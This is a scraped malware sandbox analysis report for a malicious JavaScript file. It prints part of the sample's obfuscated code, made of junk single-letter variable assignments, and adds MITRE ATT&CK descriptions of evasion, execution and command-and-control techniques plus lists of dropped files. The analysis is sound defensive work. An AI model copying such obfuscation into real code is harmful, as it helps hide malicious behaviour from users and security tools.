1353	ufjfo = "Q";
1354	ufjfo = "Q";
1355	ufjfo = "P";
1356	ufjfo = "L";
1357	ufjfo = "j";
1358	ufjfo = "M";
1359	ufjfo = "p";
1360	ufjfo = "j";
1361	ufjfo = "V";
1362	ufjfo = "a";
1363	ufjfo = "W";
1364	ufjfo = "y";
1365	ufjfo = "G";
1366	ufjfo = "O";
1367	ufjfo = "g";
1368	ufjfo = "Z";
1369	ufjfo = "L";
1370	ufjfo = "H";
1371	ufjfo = "h";
1372	ufjfo = "g";
1373	ufjfo = "p";
1374	ufjfo = "u";
1375	ufjfo = "F";
1376	ufjfo = "d";
1377	ufjfo = "f";
1378	ufjfo = "G";
1379	ufjfo = "M";
1380	ufjfo = "s";
1381	ufjfo = "B";
1382	ufjfo = "Y";
1383	ufjfo = "V";
1384	ufjfo = "S";
1385	ufjfo = "d";
1386	ufjfo = "V";
1387	ufjfo = "c";
1388	ufjfo = "B";
1389	ufjfo = "@";
1390	hncjsm = "O";
1391	hncjsm = "S";
1392	hncjsm = "A";
1393	hncjsm = "l";
1394	hncjsm = "W";
1395	hncjsm = "g";
1396	hncjsm = "t";
1397	hncjsm = "i";
1398	hncjsm = "w";
1399	hncjsm = "S";
1400	hncjsm = "F";
1401	hncjsm = "h";
1402	hncjsm = "H";
1403	hncjsm = "C";
1404	hncjsm = "R";
1405	hncjsm = "q";
1406	hncjsm = "T";
1407	hncjsm = "E";
1408	hncjsm = "g";
1409	hncjsm = "W";
1410	hncjsm = "Y";
1411	hncjsm = "X";
1412	hncjsm = "r";
1413	hncjsm = "u";
1414	hncjsm = "Z";
1415	hncjsm = "T";
1416	hncjsm = "T";
1417	hncjsm = "D";
1418	hncjsm = "k";
1419	hncjsm = "J";
1420	hncjsm = "D";
1421	hncjsm = "y";
1422	hncjsm = "G";
1423	hncjsm = "J";
1424	hncjsm = "L";
1425	ksmfsufqg = "O";
1426	ksmfsufqg = "a";
1427	ksmfsufqg = "Q";
1428	ksmfsufqg = "u";
1429	ksmfsufqg = "C";
1430	ksmfsufqg = "J";
1431	ksmfsufqg = "K";
1432	ksmfsufqg = "I";
1433	ksmfsufqg = "q";
1434	ksmfsufqg = "T";
1435	ksmfsufqg = "j";
1436	ksmfsufqg = "g";
1437	ksmfsufqg = "K";
1438	ksmfsufqg = "Z";
1439	ksmfsufqg = "r";
1440	ksmfsufqg = "A";
1441	ksmfsufqg = "k";
1442	ksmfsufqg = "W";
1443	wfocxxsvu = "h";
1444	wfocxxsvu = "w";
1445	wfocxxsvu = "Z";
1446	wfocxxsvu = "J";
1447	wfocxxsvu = "P";
1448	wfocxxsvu = "v";
1449	wfocxxsvu = "z";
1450	wfocxxsvu = "Z";
1451	wfocxxsvu = "g";
1452	wfocxxsvu = "q";
1453	wfocxxsvu = "o";
1454	wfocxxsvu = "d";
1455	wfocxxsvu = "R";
1456	wfocxxsvu = "O";
1457	wfocxxsvu = "g";
1458	wfocxxsvu = "f";
1459	wfocxxsvu = "b";
1460	wfocxxsvu = "t";
1461	wfocxxsvu = "t";
1462	wfocxxsvu = "d";
1463	wfocxxsvu = "m";
1464	fpkjbgkl = "t";
1465	fpkjbgkl = "U";
1466	fpkjbgkl = "g";
1467	fpkjbgkl = "T";
1468	fpkjbgkl = "p";
1469	fpkjbgkl = "H";
1470	fpkjbgkl = "a";
1471	fpkjbgkl = "k";
1472	fpkjbgkl = "x";
1473	fpkjbgkl = "W";
1474	fpkjbgkl = "z";
1475	fpkjbgkl = "x";
1476	fpkjbgkl = "c";
1477	fpkjbgkl = "i";
1478	fpkjbgkl = "p";
1479	fpkjbgkl = "O";
1480	fpkjbgkl = "A";
1481	fpkjbgkl = "m";
1482	fpkjbgkl = "L";
1483	fpkjbgkl = "q";
1484	fpkjbgkl = "q";
1485	fpkjbgkl = "q";
1486	fpkjbgkl = "c";
1487	fpkjbgkl = "m";
1488	fpkjbgkl = "z";
1489	fpkjbgkl = "Z";
1490	fpkjbgkl = "l";
1491	fpkjbgkl = "Q";
1492	fpkjbgkl = "Q";
1493	fpkjbgkl = "I";
1494	fpkjbgkl = "e";
1495	fpkjbgkl = "o";
1496	fpkjbgkl = "e";
1497	fpkjbgkl = "z";
1498	fpkjbgkl = "s";
1499	fpkjbgkl = "f";
1500	fpkjbgkl = "w";
1501	fpkjbgkl = "x";
1502	fpkjbgkl = "A";
1503	fpkjbgkl = "w";
1504	fpkjbgkl = "e";
1505	hyzghcch = "t";
1506	hyzghcch = "g";
1507	hyzghcch = "k";
1508	hyzghcch = "s";
1509	hyzghcch = "N";
1510	hyzghcch = "w";
1511	hyzghcch = "n";
1512	hyzghcch = "a";
1513	hyzghcch = "W";
1514	hyzghcch = "P";
1515	hyzghcch = "H";
1516	hyzghcch = "D";
1517	hyzghcch = "V";
1518	hyzghcch = "o";
1519	hyzghcch = "S";
1520	rtzcq = "b";
1521	rtzcq = "s";
1522	rtzcq = "w";
1523	rtzcq = "c";
1524	rtzcq = "N";
1525	rtzcq = "c";
1526	rtzcq = "A";
1527	rtzcq = "c";
1528	rtzcq = "W";
1529	rtzcq = "c";
1530	rtzcq = "o";
1531	rtzcq = "t";
1532	rtzcq = "R";
1533	rtzcq = "X";
1534	rtzcq = "S";
1535	rtzcq = "T";
1536	rtzcq = "o";
1537	rtzcq = "k";
1538	rtzcq = "U";
1539	rtzcq = "D";
1540	rtzcq = "D";
1541	rtzcq = "D";
1542	rtzcq = "a";
1543	rtzcq = "I";
1544	rtzcq = "e";
1545	rtzcq = "g";
1546	rtzcq = "r";
1547	rtzcq = "Y";
1548	rtzcq = "A";
1549	rtzcq = "U";
1550	rtzcq = "H";
1551	rtzcq = "s";
1552	rtzcq = "v";
1553	rtzcq = "j";
1554	rtzcq = "D";
1555	rtzcq = "o";
1556	rtzcq = "t";
1557	rtzcq = "P";
1558	sstdlus ( );	sstdlus() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2608440261187823817.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e6fc7b5-3510-4327-831a-bd929bb70343.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b661f.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fe1d8e07-9d6e-40fb-a6e8-8d3a270602c9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
2608440261187823817.js